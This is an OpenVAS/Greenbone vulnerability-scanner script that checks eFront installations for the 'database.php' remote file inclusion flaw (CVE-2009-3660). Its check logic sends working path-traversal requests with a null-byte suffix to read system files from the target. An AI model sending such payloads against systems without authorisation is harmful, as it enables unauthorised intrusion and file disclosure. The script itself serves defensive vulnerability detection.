eFront 'database.php' Remote File Inclusion Vulnerability

# Copyright (C) 2009 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = 'cpe:/a:efrontlearning:efront';

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.901045");
  script_version("2022-05-09T13:48:18+0000");
  script_tag(name:"last_modification", value:"2022-05-09 13:48:18 +0000 (Mon, 09 May 2022)");
  script_tag(name:"creation_date", value:"2009-10-31 09:54:01 +0100 (Sat, 31 Oct 2009)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2009-3660");
  script_name("eFront 'database.php' Remote File Inclusion Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2009 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("secpod_efront_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("efront/detected");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary code on the
  vulnerable Web server.");

  script_tag(name:"affected", value:"eFront version 3.5.4 and prior.");

  script_tag(name:"insight", value:"The flaw is due to improper validation of user supplied data and can be
  exploited via 'path' parameter in 'libraries/database.php' to include and
  execute remote files on the affected system.");

  script_tag(name:"solution", value:"Apply the patch from the referenced link.");

  script_tag(name:"summary", value:"eFront is prone to a remote file inclusion vulnerability.");

  script_xref(name:"URL", value:"http://svn.efrontlearning.net/repos/efront/trunc/libraries/database.php");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/36411");
  script_xref(name:"URL", value:"https://cxsecurity.com/issue/WLB-2009090034");
  script_xref(name:"URL", value:"http://forum.efrontlearning.net/viewtopic.php?f=1&t=1354&p=7174#p7174");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

if( dir == "/" ) dir = "";

files = traversal_files();
foreach file( keys( files ) ) {

  # Only vulnerable if the application was deployed incorrectly (e.g. if its reachable via the default /www/index.php)
  # so trying both possibilities to make sure it is detected correctly.
  url = dir + "/../libraries/database.php?path=../../../../../../../../../" + files[file] + "%00";

  if( http_vuln_check( port:port, url:url, pattern:file ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }

  url = dir + "/libraries/database.php?path=../../../../../../../../../" + files[file] + "%00";

  if( http_vuln_check( port:port, url:url, pattern:file ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );